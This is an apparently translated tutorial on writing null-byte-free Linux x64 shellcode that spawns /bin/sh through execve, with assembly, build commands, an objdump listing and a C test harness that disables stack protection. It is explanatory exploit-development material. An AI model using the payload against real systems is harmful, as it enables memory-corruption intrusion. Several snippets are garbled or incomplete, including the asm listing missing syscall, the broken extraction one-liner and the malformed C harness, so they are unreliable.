Writing Shellcode for Linux x64

What you need?

To compile the shellcode, we need the compiler and linker. We will use nasm and ld. To test the shellcode, we will write a small program in C. To compile it we need a gcc. For some tests, we need rasm2, which is a part of the framework radare2. For the writing of auxiliary functions, we will use python.

What’s new in x64?

x64 is an extension of Intel IA-32 architecture. The main distinguishing feature of this architecture is that it supports the 64-bit general-purpose registers, 64-bit arithmetic and logic operations on integers and 64-bit virtual addresses.

More specifically, all the 32-bit general-purpose registers are saved, added to their extended versions: rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp . In addition to these, there are several new general-purpose registers: r8, r9, r10, r11, r12, r13, r14, r15.

New calling convention was introduced. According to it, when you call the function each register is used for a specific purpose, namely:

A bit more about the stack - as the addresses are now 64-bit value in the stack may have a size of 8 bytes.

Syscall. What? How? What for?

syscall is a method whereby user-mode interacts with a Linux kernel. It is used for various tasks: IO operation, read/write files, opening/closing of the programs, work with memory and network, and so on. To perform syscall you need to:

  1. Download the appropriate function in the register ‘rax’;
  2. load the input parameters in other registers;
  3. call interruption with the number 0x80 (since kernel version 2.6, this is done just by calling syscall).

Unlike Windows where you need find the address of the required functions, in Linux everything is pretty simple and concise.

Syscall functions can be found, for example, here.


If you look at shellcodes here, you’ll see many of them use the function execve().

execve() has the following prototype:

int execve(const char * filename, char * const argv[], char * const envp[]);

It calls the program filename. filename program can either be an executable binary or script that begins with the line #! interpreter [optional-arg] .

argv[] is a pointer to the array, and in fact, this is the argv [], which we see in C, Python, etc.

envp[] is a pointer to the array, describing the environment. In this case, not used, it will be set to null.

Basic requirements for the shellcode

There is such a thing as position-independent code. It’s a code that will be executed regardless of what address it is loaded on. So our shellcode could be run anywhere in the program, it must be position-independent.

Most often, the shellcode uses functions like strcpy(). These functions use the bytes 0x00, 0x0A, 0x0D as separators (depending on the platform and a function). Therefore it is better not to use such values (you can read about it more google “bad chars shellcode”). Otherwise, a function can copy our shellcode incompletely. Consider the following example:

$ rasm2 -a x86 -b 64 'push 0x00'

As you can see, the code push 0x00 compiled in the following bytes 6a 00. If we used this code, our shellcode would not have worked. Function to copy everything that is to the byte with a value of 0x00.

The shellcode can not be used hard coded addresses because we advance these same addresses do not know. For this reason, all the rows in the shellcode obtained dynamically and stored on the stack.

That seems to be all.

Just do it!

If you have read up to this point, you already should have a picture of how it will work our shellcode.

The first step is to prepare options for the function execve() and then properly arrange them on the stack. The function will be as follows:

execve("/bin/sh/", ["/bin/sh"], null);

The second parameter is an array of argv[]. The first element of the array contains the path to the executable file.

The third parameter is the information about the environment, we do not need it, so it will have a value of null.

First, we obtain a zero byte. We can not use the structure of the form mov eax, 0x00, because it will lead to a null-byte code, so we will use the following statement:

xor rdx, rdx

Leave the value in register rdx, since it is still required as a character string and the end value of the third parameter (which will null).

To invert the line and translate it to hex you can use this python function:

def rev_str(s):
    rev = s[:: - 1]
    return rev.encode("hex")

Call this function to /bin/sh:

>>> rev.rev_str("/bin/sh")

We got a line length of 7 bytes. Now consider what happens if we try to put it into the stack:

$ rasm2 -a x86 -b 64 'mov rax, 68732f6e69622f; push rax '

We got a zero byte (second byte from the end), which will break our shellcode. To avoid this, use the fact that Linux ignores successive slashes (ie /bin/sh and /bin//sh - it is the same thing).

>>> rev.rev_str("/bin//sh")

Now we have a line length of 8 bytes. Let’s see what happens if you put it in the stack:

$ rasm2 -a x86 -b 64 'mov rax, 0x68732f2f6e69622f; push rax'

No zero bytes.

Then on website we look for information about the function execve(). Enjoying a function room, which put in the rax - 59. Look what registers are used:

Now we collect all the pieces together.

Push newline character (remember that all is done in reverse order):

xor rdx, rdx
push rdx

Push line /bin//sh:

mov rax, 0x68732f2f6e69622f
push rax

We get the address of the string /bin//sh from rsp and immediately put it in rdi:

mov rdi, rsp

The rsi need to contain a pointer to an array of strings. In our case, this array will contain only the path to the executable file, so it is enough to put an address which contains the address of the string (in C language pointer to a pointer). This address we already have, it is in register rdi. The array must be terminated by argv null-byte, which we are in the register rdx. So we do:

push rdx
push rdi
mov rsi, rsp

Now rsi indicates the address on the stack, which is a pointer to the string /bin//sh.

Now we put the number of execve() function in rax:

xor rax, rax
mov al, 0x3b

Finally, we got this file:

; runs /bin/sh

section .text
    global _start


    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b

Compile and link under x64. For this:

$ nasm -f elf64 example.asm
$ ld -m elf_x86_64 -s -o example example.o

Now we can use objdump -d example to see the resulting file:

Disassembly of section .text:
0000000000400080 <.text>:
  400080 48 31 d2 xor %rdx, %rdx
  400083: 52 push %rdx
  400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f, %rax
  40008b: 2f 73 68
  40008e: 50 push %rax
  40008f: 48 89 e7 mov %rsp, %rdi
  400092: 52 push %rdx
  400093: 57 push %rdi
  400094: 48 89 e6 mov %rsp, %rsi
  400097: 48 31 c0 xor %rax, %rax
  40009a: b0 3b mov $0x3b, %al
  40009c: 0f 05 syscall

We can use the following code to get the shellcode type \x11\x22 ... from binary:

for i in `objdump -d example | tr '\t' '' | tr '' '\n' | egrep '^[0-9a-f]{2}$' '; do echo -n "\x $ i"; done

The result is:


Testing shellcode

To test the shellcode use the following C program (instead of SHELLCODE need to insert the resulting shellcode):

/* Shellcode test program */

char shellcode[] = "SHELLCODE";

int main ()
    void(*f)() = (void(*)())shellcode;
    return 0;

Then compile:

gcc -m64 -fno-stack-protector -z execstack -o shellcode_test shellcode_test.c

The resulting program is shellcode_test. Run the program and get into the interpreter sh. To exit, enter exit.